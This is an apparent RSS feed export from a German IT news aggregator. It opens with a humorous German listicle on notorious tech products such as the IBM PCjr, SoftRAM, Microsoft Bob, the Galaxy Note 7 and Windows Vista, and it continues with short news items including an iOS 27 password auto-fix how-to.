<p>Die folgende – höchst subjektive – Auswahl präsentiert Ihnen sieben der abgründigsten Auswürfe, die die Technologiewelt bislang hervorgebracht hat. Warum diese IT-Produkte verschmäht, gehasst oder ihre Macher vor den Kadi gezerrt wurden, variiert dabei: Vom simplen Scam über PR-Peinlichkeiten und scheinbar böswillig sabotierte User Experiences bis hin zur realen Gefahr für Leib und Leben ist alles dabei. Viel Vergnügen!</p>



<h3 class="wp-block-heading">IBM PCjr</h3>



<p>IBM wollte mit dem PCjr im Jahr 1984 seinen Footprint im Markt für Heimcomputer ausbauen. Wer den Apple-II-, Commodore-64- und später Macintosh-Konkurrenten benutzen wollte, erlebte allerdings oft sein persönliches Big-Blue-Wunder.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Als Business-Gerät nicht potent genug, als Spielerechner zu teuer: IBMs PCjr." title="Als Business-Gerät nicht potent genug, als Spielerechner zu teuer: IBMs PCjr." src="https://images.computerwoche.de/bdb/3380099/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Als Business-Gerät nicht potent genug, als Spielerechner zu teuer: IBMs PCjr.</p></figcaption></figure><p class="imageCredit">
					Foto: Von Rik Myslewski – Eigenes Werk, CC0, https://commons.wikimedia.org/w/index.php?curid=31428981</p></div>




<p>Die anfangs standardmäßig verbauten 128 KB RAM waren zu schwach für die meisten <a href="https://www.computerwoche.de/industry/" target="_blank" class="idgGlossaryLink">IBM</a>-PC-Programme. Das limitierte die verfügbare Software – vor allem auf Videospiele. Die liefen auf dem Commodore 64 allerdings in der Regel besser, was schlecht war, weil dieser auch wesentlich günstiger zu haben war. Der Einführungspreis des PCjr von knapp 1.300 Dollar ließ schon bei der ersten Präsentation Ende 1983 <a href="https://www.newspapers.com/image/62497738/?clipping_id=3360529&amp;fcfToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVlLXZpZXctaWQiOjYyNDk3NzM4LCJpYXQiOjE2ODI2NjA1OTAsImV4cCI6MTY4Mjc0Njk5MH0.3u-7k3DWUHcGF9y1uchlVOhJpLB5plxwZIMYSejuKiE" title="die Alarmglocken bei den Analysten schrillen" target="_blank" rel="noopener">die Alarmglocken bei den Analysten schrillen</a> – und gilt auch als finaler Sargnagel für das Device.</p>



<p>Vor allem aber war das Keyboard eine Ausgeburt der (Design-)Hölle. Die Funktionsbeschriftung der Tasten findet sich nämlich auf dem Gehäuse (über den Keys). Da nutzte es dann auch nichts mehr, dass die Tastatur mit einer “fancy” Infrarot-Wireless-Funktionalität ausgestattet war.</p>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Auf Bildern lässt sich nur erahnen, welche User Experience diese Chiclet-Monstrosität in die Waagschale geworfen hat." title="Auf Bildern lässt sich nur erahnen, welche User Experience diese Chiclet-Monstrosität in die Waagschale geworfen hat." src="https://images.computerwoche.de/bdb/3380100/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Auf Bildern lässt sich nur erahnen, welche User Experience diese Chiclet-Monstrosität in die Waagschale geworfen hat.</p></figcaption></figure><p class="imageCredit">
					Foto: Von Jason Scott – IMG_0034, CC BY 2.0, https://commons.wikimedia.org/w/index.php?curid=92421025</p></div>




<p>Den Scope der wahnwitzigen <a href="https://www.computerwoche.de/industry/" target="_blank" class="idgGlossaryLink">IBM</a>-Designentscheidungen beim PCjr fassen die Kollegen von “The Register” sehr treffend zusammen. Die Briten haben – schmerzfrei wie man sie kennt – bereits im Jahr 2014 freiwillig einen PCjr für einen ausführlichen Test in seine Bestandteile zerlegt. Der bezeichnende Titel: “<a href="https://www.theregister.com/2014/03/22/ibm_pcjr_stripped_bare_still_mediocre_after_all_these_years/" title="We tear down the machine Big Blue would rather you forgot" target="_blank" rel="noopener">We tear down the machine Big Blue would rather you forgot</a>“.</p>



<p>Nicht umsonst killte <a href="https://www.computerwoche.de/industry/" target="_blank" class="idgGlossaryLink">IBM</a> den PCjr nur knapp ein Jahr nach der Markteinführung <a href="https://www.nytimes.com/1985/03/20/business/ibm-drops-pcjr-production.html" title="kurzfristig" target="_blank" rel="noopener">kurzfristig</a> – und überraschte mit diesem Move auch zahlreiche Hard- und Softwareentwickler, die sich dediziert IBMs Heimcomputer mit der Donkey-Kong-Nomenklatur verschrieben hatten. Erst im Jahr 1990 hatte sich Big Blue einigermaßen von der PCjr-Schmach erholt und wagte mit dem <a href="https://en.wikipedia.org/wiki/IBM_PS/1" title="PS/1" target="_blank" rel="noopener">PS/1</a> einen neuen Heimcomputer-Versuch (der dann auch besser lief).</p>



<h3 class="wp-block-heading">Syncronys SoftRAM</h3>



<p>Die guten alten Neunziger Jahre: Als Fußball noch ansatzweise spannend war, die Reputation von Alfons Schuhbeck noch lebte und inflationäre Preise für lebensnotwendige Dinge kein Thema waren – <a href="https://www.winhistory.de/more/386/altepreise.htm" title="(Arbeits-)Speicher" target="_blank" rel="noopener">(Arbeits-)Speicher</a> ausgenommen. Weil die Anforderungen für <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-95-Programme unaufhörlich stiegen, klang das Angebot der Softwareschmiede Syncronys, den Arbeitsspeicher für knapp 30 Dollar per Software zu verdoppeln, für einige User sehr verlockend – genauer gesagt für rund 700.000.</p>



<p>Das Problem daran: Es handelte sich um einen Scam, den unsere US-Kollegen von der PC World bereits im Jahr 2006 zu einem der drei <a href="https://www.pcworld.com/article/535838/worst_products_ever.html" title="schlechtesten Tech-Produkte aller Zeiten" target="_blank">schlechtesten Tech-Produkte aller Zeiten</a> kürten. Und zwar vollkommen zu Recht:</p>



<p></p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<cite>“Es stellte sich heraus, dass SoftRAM lediglich die Cache-Größe der Festplatte von Windows-Systemen vergrößerte – etwas, das User bereits mit moderaten Fähigkeiten völlig ohne spezifische Software in circa einer Minute bewerkstelligen konnten. Und selbst dann war der Performance-Vorteil vernachlässigbar. Die Federal Trade Commission bezeichnete das Marketing-Gebahren von Syncronys als ‘unwahr und irreführend’, das Unternehmen wurde letztlich dazu gezwungen, das Produkt vom Markt zu nehmen und Käufer zu entschädigen. Nachdem sie noch eine Handvoll weiterer, schlechter Windows Utilities veröffentlichten, war Syncronys im Jahr 1999 bankrott. Wir werden die Company nicht vermissen.”</cite>
</blockquote>



<p></p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">Have they updated SoftRAM for the 2020s? <a href="https://t.co/noLejeddnX">pic.twitter.com/noLejeddnX</a></p>— @keiran_rowell@mastodon.social (@keiranrowell) <a href="https://x.com/keiranrowell/status/1316151699044626433?ref_src=twsrc%5Etfw">October 13, 2020</a></blockquote>
</div></figure>



<h3>Apple Mac Portable</h3><p>“Man fragt sich nur, wie viele Menschen wohl bereit sein werden, 8.000 Dollar für etwas auszugeben, das im Grunde ein Zweitrechner ist”, zitierte <a href="https://www.latimes.com/archives/la-xpm-1989-09-20-fi-175-story.html" title="die Los Angeles Times" target="_blank" rel="noopener">die Los Angeles Times</a> den Gartner-Analysten David Cearley anlässlich der Präsentation von Apples portablem Macintosh im Jahr 1989. Ganz generell sahen Analysten der Publikation zufolge den Portable Mac als “zu groß, zu schwer und zu teuer” an. Der Einführungspreis lag bei mehr als 7.000 Dollar, dazu brachte der Mac Portable mehr als 7 Kilogramm auf die Waage (was vor allem den verbauten Bleisäure-Akkus geschuldet war).</p><p>Qualitativ gab es am ersten tragbaren Mac hingegen wenig auszusetzen. Entsprechend enthusiastisch zeigte sich Apple-Manager Jean-Louis Gassée, der das Laptop-Monster nicht nur vor Publikum auf der Bühne präsentierte, sondern ihn bei dieser Gelegenheit gleich zusammenbaute:</p>




<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>Knapp zwei Jahre nach seinem Launch ereilte den Mac Portable im Jahr 1991 ein früher Tod, nachdem die Absatzzahlen weit hinter den Erwartungen von Apple <a href="https://retropaq.com/macintosh-portable-part-2-the-blame-game/" title="zurückblieben" target="_blank" rel="noopener">zurückblieben</a>. Er wurde von der Powerbook-Familie beerbt. Immerhin hat das portable Schwergewicht zu Lebzeiten noch einen Ort gefunden, an dem sein Gewicht keine Rolle spielt – das Weltall:</p>




<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">In 1991 a Mac Portable traveled to space! Little did the astronauts know they’d be dodging floppy disks! <a href="https://x.com/hashtag/vintagemac?src=hash&amp;ref_src=twsrc%5Etfw">#vintagemac</a> <a href="https://x.com/hashtag/nasa?src=hash&amp;ref_src=twsrc%5Etfw">#nasa</a> <a href="https://x.com/hashtag/spaceshuttle?src=hash&amp;ref_src=twsrc%5Etfw">#spaceshuttle</a> <a href="https://x.com/hashtag/space?src=hash&amp;ref_src=twsrc%5Etfw">#space</a> <a href="https://x.com/hashtag/klingons?src=hash&amp;ref_src=twsrc%5Etfw">#klingons</a>  <a href="https://x.com/hashtag/apple?src=hash&amp;ref_src=twsrc%5Etfw">#apple</a> <a href="https://x.com/hashtag/android?src=hash&amp;ref_src=twsrc%5Etfw">#android</a> <a href="https://x.com/hashtag/mac?src=hash&amp;ref_src=twsrc%5Etfw">#mac</a> <a href="https://x.com/hashtag/ios?src=hash&amp;ref_src=twsrc%5Etfw">#ios</a> <a href="https://x.com/hashtag/ios16?src=hash&amp;ref_src=twsrc%5Etfw">#ios16</a> <a href="https://x.com/hashtag/repair?src=hash&amp;ref_src=twsrc%5Etfw">#repair</a> <a href="https://x.com/hashtag/applerepair?src=hash&amp;ref_src=twsrc%5Etfw">#applerepair</a> <a href="https://x.com/hashtag/righttorepair?src=hash&amp;ref_src=twsrc%5Etfw">#righttorepair</a> <a href="https://x.com/hashtag/tecktok?src=hash&amp;ref_src=twsrc%5Etfw">#tecktok</a> <a href="https://x.com/hashtag/techtoker?src=hash&amp;ref_src=twsrc%5Etfw">#techtoker</a> <a href="https://x.com/hashtag/sysadmin?src=hash&amp;ref_src=twsrc%5Etfw">#sysadmin</a> <a href="https://x.com/hashtag/it?src=hash&amp;ref_src=twsrc%5Etfw">#it</a> <a href="https://x.com/hashtag/computer?src=hash&amp;ref_src=twsrc%5Etfw">#computer</a> <a href="https://t.co/sFcQS4zujk">pic.twitter.com/sFcQS4zujk</a></p>— The Stem Group (@TheStemGroup) <a href="https://x.com/TheStemGroup/status/1590095804773335040?ref_src=twsrc%5Etfw">November 8, 2022</a></blockquote>
</div></figure>



<h3>Microsoft Bob</h3><p>Microsoft hat in seiner langen Historie einige Böcke geschossen – man erinnere sich nur an das <a href="https://www.computerwoche.de/article/2800230/wenn-datengetrieben-im-debakel-endet.html" title="Chatbot-Desaster um Tay" target="_blank">Chatbot-Desaster um Tay</a>, die <a href="https://www.computerwoche.de/article/2799051/das-schlimmste-windows-aller-zeiten.html" title="Betriebssystem-GAUs" target="_blank">Betriebssystem-GAUs</a> mit <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> Millenium Edition, Vista und 8 oder den vernichtend langwierigen Sterbeprozess von <a href="https://www.computerwoche.de/article/2783822/windows-10-mobile-ist-tot.html" title="Windows Mobile beziehungsweise Phone" target="_blank">Windows Mobile beziehungsweise Phone</a>.</p><p>Doch auch wenn es um Redmonder Fehlgriffe geht, lohnt sich ein Blick in die Nische: Dann fällt schnell auf, dass ein kleines Stück Microsoft-Software unter Nerds ganz besonders verhasst scheint: Bob. Bevor der Baumeister diesen Namen mit Sinnhaftigkeit und Frohsinn füllte, erzeugte Microsofts Bob bei den Benutzern nämlich vor allem eines – innere Leere. Wir zitieren ein weiteres Mal unsere US-Kollegen von der PC World:</p><p></p><blockquote class="wp-block-quote"><cite>“Bob war als ‘Social Interface’ für Windows 3.1 gedacht und versetzte die Benutzer in ein virtuelles Wohnzimmer mit klickbaren Objekten und einer Reihe von Zeichentrick-Helfern wie ‘Chaos the Cat’ und ‘Scuzz the Rat’, die durch eine überschaubare Reihe von Applikationen führten. Glücklicherweise wurde Bob unter dem Hype rund um den Start von Windows 95 begraben – auch wenn einige Elemente weiterlebten, um Microsoft-Office- und Windows-XP-Nutzer zu belästigen … Vor allem aber warf Bob mehr Fragen auf, als er beantworten konnte: Hat irgendjemand bei Microsoft das Teil einmal benutzt – oder ernsthaft angenommen, jemand anderes würde das tun wollen? Und war es eigentlich Absicht, dass der Bob-Smiley eine frappierende Ähnlichkeit zu Bill Gates aufweist?”</cite></blockquote><p>Dass Melinda Gates als Projektmanagerin an der Entwicklung von Bob beteiligt war, dürfte die letztgestellte Frage beantworten. Ihre Neugierde auf Bob kennt inzwischen vermutlich keine Grenzen mehr. Glücklicherweise hat sich der auf Retro-Tech spezialisierte YouTube-Kanal “LGR” detailliert mit der Frage auseinandergesetzt, wie infernal die Microsoft-Bob-Experience wirklich war:</p>




<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h3>Samsung Galaxy Note 7</h3><p>Im Jahr 2016 setzte Samsung <a href="https://www.bloomberg.com/news/articles/2016-09-18/samsung-crisis-began-in-rush-to-capitalize-on-uninspiring-iphone#xj4y7vzkg" title="laut Bloomberg" target="_blank" rel="noopener">laut Bloomberg</a> alles daran, die nächste Iteration seines erfolgreichen Premium-Phablets vor Apples alljährlichem <a href="https://www.computerwoche.de/k/iphone-apps,3459" target="_blank" class="idgGlossaryLink">iPhone</a>-Happening im September auf den Markt zu bringen. Nachdem das Galaxy Note im August 2016 in den Handel kam, häuften sich Berichte von Benutzern über explodierende, brennende und überhitzte Devices. Die Flugaufsichtsbehörden der USA und der EU untersagten daraufhin, das Gerät (auch ausgeschaltet) an Bord eines Flugzeugs zu nehmen.</p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Zum Dahinschmelzen: Samsungs Galaxy Note 7." title="Zum Dahinschmelzen: Samsungs Galaxy Note 7." src="https://images.computerwoche.de/bdb/2683764/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Zum Dahinschmelzen: Samsungs Galaxy Note 7.</p></figcaption></figure></div><p>Samsung reagiert zeitnah und beraumt eine großangelegte, weltweite Rückrufaktion an. Rund 2,5 Millionen Exemplare des Galaxy Note 7 werden nur Wochen nach dem Marktstart ausgetauscht. Nur um dann in einigen Fällen ebenfalls <a href="https://www.computerwoche.de/article/2752582/deshalb-explodierten-die-note-7-akkus.html" title="in Schall und Rauch aufzugehen" target="_blank">in Schall und Rauch aufzugehen</a>. Die unter Umständen lebensgefährlichen Defekte des Galaxy Note 7 zwingen den koreanischen Tech-Konzern schließlich Mitte Oktober 2016, Verkauf und Produktion des Galaxy Note 7 komplett einzustellen.</p><p>Allein der Rückruf der Galaxy-Note-7-Geräte dürfte Samsung rund eine Milliarde Dollar gekostet haben. Analysten der Credit Suisse schätzten die Gesamtverluste für Samsung durch das Note-7-Debakel im Jahr 2017 <a href="https://www.reuters.com/article/us-samsung-elec-smartphones-costs-idUSKCN12B0FX" title="auf 17 Milliarden Dollar" target="_blank" rel="noopener">auf 17 Milliarden Dollar</a>. Und auch die Reputation des koreanischen Apple-Konkurrenten erlitt durch (Sammel-)Klagen und eine <a href="https://www.theverge.com/2016/9/15/12926308/galaxy-note-7-recall-samsung-fumbled-usage" title="zweifelhafte Kommunikationsstrategie" target="_blank" rel="noopener">zweifelhafte Kommunikationsstrategie</a> erheblichen Schaden. </p>




<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h3>Windows Vista</h3><p>Dass Vista als <a href="https://www.computerwoche.de/article/2822483/die-9-schlimmsten-ceos.html" title="Enfant Terrible" target="_blank">Enfant Terrible</a> innerhalb der <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Betriebssystemfamilie gilt, ist bekannt. Trotzdem kommt man in einer Auflistung wie dieser nicht drumherum, die Verfehlungen rund um den so gescheiterten wie gehassten XP-Nachfolger noch einmal wiederzukäuen. Schließlich kommt dieses Windows einem zeitlosen Betriebssystemverbrechen gleich. </p><p>Vista sollte ursprünglich nur ein kleineres Update für <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> XP werden – ein Zwischenschritt vor dem nächsten OS, Codename “<a href="https://www.computerwoche.de/article/2628202/nach-vista-kommt-vienna.html" title="Blackcomb" target="_blank">Blackcomb</a>“. Weil dessen viele neue Technologien und Features aus Entwicklersicht plötzlich auch für Vista interessant wurden, stürzte das Projekt ins Chaos. Das gestand der ehemalige <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a>-Manager Jim Allchin auch öffentlich <a href="https://www.wsj.com/articles/SB112743680328349448" title="im Interview mit dem Wall Street Journal" target="_blank" rel="noopener">im Interview mit dem Wall Street Journal</a> – schon ein Jahr, bevor Vista offiziell das Licht der Welt erblickte. </p><div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" alt="Windows Vista - ein Garant für kaltes Grauen. " title="Windows Vista - ein Garant für kaltes Grauen. " src="https://images.computerwoche.de/bdb/3380101/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Windows Vista – ein Garant für kaltes Grauen. </p></figcaption></figure></div><p>Als es dann so weit war, trieb das Betriebssystem seine Benutzer mit Bestätigungsmeldungen bei jeder noch so kleinen Konfigurationsänderung in den Wahnsinn. Wer sich davon nicht beeindrucken ließ, hatte eine weitere Chance für Wutanfälle, wenn er feststellte, dass zahllose Peripheriegeräte wie Drucker mit dem neuen <a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> nicht kompatibel waren. Sollte selbst das die Halsschlagader noch nicht dazu gebracht haben, ausgiebig zu pulsieren, konnte es zur Krönung auch sein, dass Vista grundsätzlich nicht oder nur sehr schlecht auf dem Rechner lief. Und zwar auch auf Neugeräten, auf denen das Betriebssystem vorinstalliert war. </p><p>Und Microsoft setzte sogar noch einen obendrauf: Um den Kunden einen Anreiz zu geben, trotz der nahenden Vista-Veröffentlichung XP-Rechner zu kaufen, entschied man sich dazu, diese als “<a href="https://www.computerwoche.de/operating-systems/" target="_blank" class="idgGlossaryLink">Windows</a> Vista Capable” zu vermarkten. Dass das nicht der Wahrheit entsprach und den Microsoft-Verantwortlichen auch bewusst war, wurde im Rahmen einer <a href="https://www.computerworld.com/article/1563280/judge-makes-vista-capable-lawsuit-a-class-action-affair.html" title="Sammelklage" target="_blank">Sammelklage</a> bekannt und warf ein weiteres Mal kein günstiges Licht auf den Konzern.</p>




<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<h3>WeTab</h3><p>Es sollte im Jahr 2010 die deutsche Antwort auf Apples <a href="https://www.computerwoche.de/k/ipad,3456" target="_blank" class="idgGlossaryLink">iPad</a> sein – eine Art neues Wirtschaftswunder in Device-Form: <a href="https://www.computerwoche.de/g/top-flops-der-it-die-12-kurzlebigsten-produkte,113113,2" title="das WeTab" target="_blank">das WeTab</a>. Allerdings verwandelte sich das Gründermärchen schnell in eine (PR-)Horrorstory. Weil auch uns manchmal die Schreibfaulheit plagt, überlassen wir es den Kollegen von 3Sat, dieses Kapitel der deutschen IT-Geschichte zu erzählen, welches man in Jugendsprache auch mit nur einem Wort zusammenfassen könnte: Cringe.</p>




<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[You Can Now Check ASUS Laptop Spare Part Prices Online Before Booking a Repair]]></title>
<description><![CDATA[Repair costs are often unknown until you visit a service center. ASUS aims to address that...
The post You Can Now Check ASUS Laptop Spare Part Prices Online Before Booking a Repair appeared first on Fossbytes.]]></description>
<link>https://tsecurity.de/de/3627179/it-nachrichten/you-can-now-check-asus-laptop-spare-part-prices-online-before-booking-a-repair/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3627179/it-nachrichten/you-can-now-check-asus-laptop-spare-part-prices-online-before-booking-a-repair/</guid>
<pubDate>Fri, 26 Jun 2026 13:31:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Repair costs are often unknown until you visit a service center. ASUS aims to address that...</p>
<p>The post <a rel="nofollow" href="https://fossbytes.com/asus-part-price-checker/">You Can Now Check ASUS Laptop Spare Part Prices Online Before Booking a Repair</a> appeared first on <a rel="nofollow" href="https://fossbytes.com/">Fossbytes</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sony cuts ‘significant number’ of jobs at Bungie following end of ‘Destiny 2’ development ]]></title>
<description><![CDATA[Bungie, the Bellevue, Wash.-based creator of the Halo and Destiny video game franchises, was hit by new round of layoffs Wednesday as the Sony-owned studio undergoes a reorganization following the end of development on its long-running online shooter Destiny 2. Read More]]></description>
<link>https://tsecurity.de/de/3625283/it-nachrichten/sony-cuts-significant-number-of-jobs-at-bungie-following-end-of-destiny-2-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625283/it-nachrichten/sony-cuts-significant-number-of-jobs-at-bungie-following-end-of-destiny-2-development/</guid>
<pubDate>Thu, 25 Jun 2026 18:34:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="1260" height="709" src="https://cdn.geekwire.com/wp-content/uploads/2019/06/weve-got-to-repair-the-foundatio-1260x709.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.geekwire.com/wp-content/uploads/2019/06/weve-got-to-repair-the-foundatio-1260x709.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2019/06/weve-got-to-repair-the-foundatio-768x432.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2019/06/weve-got-to-repair-the-foundatio-630x354.jpg 630w, https://cdn.geekwire.com/wp-content/uploads/2019/06/weve-got-to-repair-the-foundatio.jpg 1280w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Bungie, the Bellevue, Wash.-based creator of the Halo and Destiny video game franchises, was hit by new round of layoffs Wednesday as the Sony-owned studio undergoes a reorganization following the end of development on its long-running online shooter Destiny 2. <a href="https://www.geekwire.com/2026/sony-cuts-significant-number-of-jobs-at-bungie-following-end-of-destiny-2-development/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[DISM error 0x800f0915, The repair content could not be found anywhere]]></title>
<description><![CDATA[Deployment Image Servicing and Management (DISM) is a built-in Windows command-line tool used to service and repair Windows images. It can fix problems with the Windows component store, which contains the files required for Windows features, updates, and system repairs. However, some users have r...]]></description>
<link>https://tsecurity.de/de/3621516/windows-tipps/dism-error-0x800f0915-the-repair-content-could-not-be-found-anywhere/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621516/windows-tipps/dism-error-0x800f0915-the-repair-content-could-not-be-found-anywhere/</guid>
<pubDate>Wed, 24 Jun 2026 15:26:23 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="700" height="400" src="https://www.thewindowsclub.com/wp-content/uploads/2026/06/DISM-error-0x800f0915-The-repair-content-could-not-be-found-anywhere.png" class="attachment-full size-full wp-post-image" alt="DISM error 0x800f0915 The repair content could not be found anywhere" decoding="async" fetchpriority="high" srcset="https://www.thewindowsclub.com/wp-content/uploads/2026/06/DISM-error-0x800f0915-The-repair-content-could-not-be-found-anywhere.png 700w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/DISM-error-0x800f0915-The-repair-content-could-not-be-found-anywhere-500x286.png 500w, https://www.thewindowsclub.com/wp-content/uploads/2026/06/DISM-error-0x800f0915-The-repair-content-could-not-be-found-anywhere-300x171.png 300w" sizes="(max-width: 700px) 100vw, 700px">Deployment Image Servicing and Management (DISM) is a built-in Windows command-line tool used to service and repair Windows images. It can fix problems with the Windows component store, which contains the files required for Windows features, updates, and system repairs. However, some users have reported encountering the following error while running DISM to troubleshoot random shutdowns, […]</p>
<p>This article <a href="https://www.thewindowsclub.com/dism-error-0x800f0915-repair-content-could-not-be-found">DISM error 0x800f0915, The repair content could not be found anywhere</a> first appeared on <a href="https://www.thewindowsclub.com/">TheWindowsClub.com</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Auto-Fix Weak Passwords in iOS 27]]></title>
<description><![CDATA[Weak passwords remain one of the biggest reasons online accounts get hacked. Apple has addressed this problem in iOS 27 with a new Passwords app feature that can automatically replace weak, reused, or compromised passwords with stronger ones. 



Using Apple Intelligence and Safari, the system ca...]]></description>
<link>https://tsecurity.de/de/3621111/ios-mac-os/how-to-auto-fix-weak-passwords-in-ios-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3621111/ios-mac-os/how-to-auto-fix-weak-passwords-in-ios-27/</guid>
<pubDate>Wed, 24 Jun 2026 13:10:43 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Weak passwords remain one of the biggest reasons online accounts get hacked. Apple has addressed this problem in iOS 27 with a new Passwords app feature that can automatically replace weak, reused, or compromised passwords with stronger ones. 



Using Apple Intelligence and Safari, the system can securely navigate supported websites, update credentials, and save the new password for you. This removes the need to manually visit every website and change passwords one by one.



If you use the Passwords app on your iPhone, here is how you can automatically fix weak passwords in iOS 27.



Table of contentsAuto-Fix Weak Passwords Using the Passwords AppManually Change Weak Passwords When Auto-Fix Is UnavailableEnable Compromised Password DetectionReplace Passwords with PasskeysUse Strong Password Suggestions for New AccountsFAQsSummaryConclusion



Auto-Fix Weak Passwords Using the Passwords App



The biggest password security upgrade in iOS 27 is the new automatic password repair feature. When the Passwords app detects a weak, reused, or compromised password, it can update the credential on supported websites and save the new password automatically.








Open the Passwords app on your iPhone.



Authenticate with Face ID, Touch ID, or your passcode.



Tap Security.



Review accounts marked as Weak Password, Reused Password, or Compromised Password.



Select the affected account.



Tap the option to Automatically Fix Password if available.



Confirm the action.



Wait while Apple Intelligence and Safari securely update the password.



The new strong password will be saved automatically in the Passwords app.




Manually Change Weak Passwords When Auto-Fix Is Unavailable



Not every website currently supports automatic password updates. In those cases, you can still change the password manually.




Open the Passwords app.



Tap Security.



Select the account with the security warning.



Tap Change Password.



Follow the website's password update process.



Let iPhone generate a strong password when prompted.



Save the changes and verify the update.




Enable Compromised Password Detection



To receive alerts about leaked or unsafe passwords, make sure password monitoring is turned on.




Open Settings.



Tap Apps.



Select Passwords.



Turn on Detect Compromised Passwords.



Return to the Passwords app and review security recommendations regularly.




Replace Passwords with Passkeys



Many services now support passkeys, which are more secure than traditional passwords.




Open the account settings for a supported website or app.



Look for Passkey setup options.



Follow the on-screen instructions.



Save the passkey using Face ID or Touch ID.



Use the passkey for future sign-ins.




Use Strong Password Suggestions for New Accounts



Whenever you create a new account, iOS 27 can generate a unique password automatically.




Start creating a new account in an app or website.



Tap the password field.



Select Use Strong Password when prompted.



Save the credential in the Passwords app.



Complete account registration.




FAQs



What is the Auto-Fix Password feature in iOS 27? It is a new Apple Intelligence-powered feature that can automatically update weak or compromised passwords on supported websites and save the new credentials in the Passwords app.  Does Auto-Fix work on every website? No. The feature currently works only with supported websites and services. Unsupported sites still require manual password changes.  Will I see progress while the password is being changed? Yes. iOS 27 can display the process through a Live Activity so you can monitor the update.  Are the new passwords stored automatically? Yes. Once the password is updated, the Passwords app saves the new credential securely.  Is the feature secure? Apple says the system uses Apple Intelligence with on-device processing and Private Cloud Compute protections for supported tasks.  



Summary




Open the Passwords app and check the Security section.



Use Auto-Fix Password for supported accounts.



Change passwords manually when automatic updates are unavailable.



Enable Detect Compromised Passwords in Settings.



Switch to passkeys whenever possible.



Use Apple's strong password generator for new accounts.



Review security recommendations regularly.




Conclusion



iOS 27 makes password security much easier by automatically fixing weak and compromised passwords on supported websites. Instead of manually updating every account, you can let Apple Intelligence handle much of the process while securely storing the new credentials in the Passwords app. Combined with passkeys and compromised password alerts, this update gives iPhone users a simpler way to keep their accounts protected.]]></content:encoded>
</item>
<item>
<title><![CDATA[Reinventing the zipper]]></title>
<description><![CDATA[With an adaptable fastener designed at CSAIL, pitching a tent or adjusting the cast for a broken bone could be almost as easy as zipping your coat. The researchers, led by associate professor Stefanie Mueller, were inspired by an abandoned prototype for a three-sided zipper that William Freeman, ...]]></description>
<link>https://tsecurity.de/de/3619690/ai-nachrichten/reinventing-the-zipper/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619690/ai-nachrichten/reinventing-the-zipper/</guid>
<pubDate>Tue, 23 Jun 2026 23:34:13 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
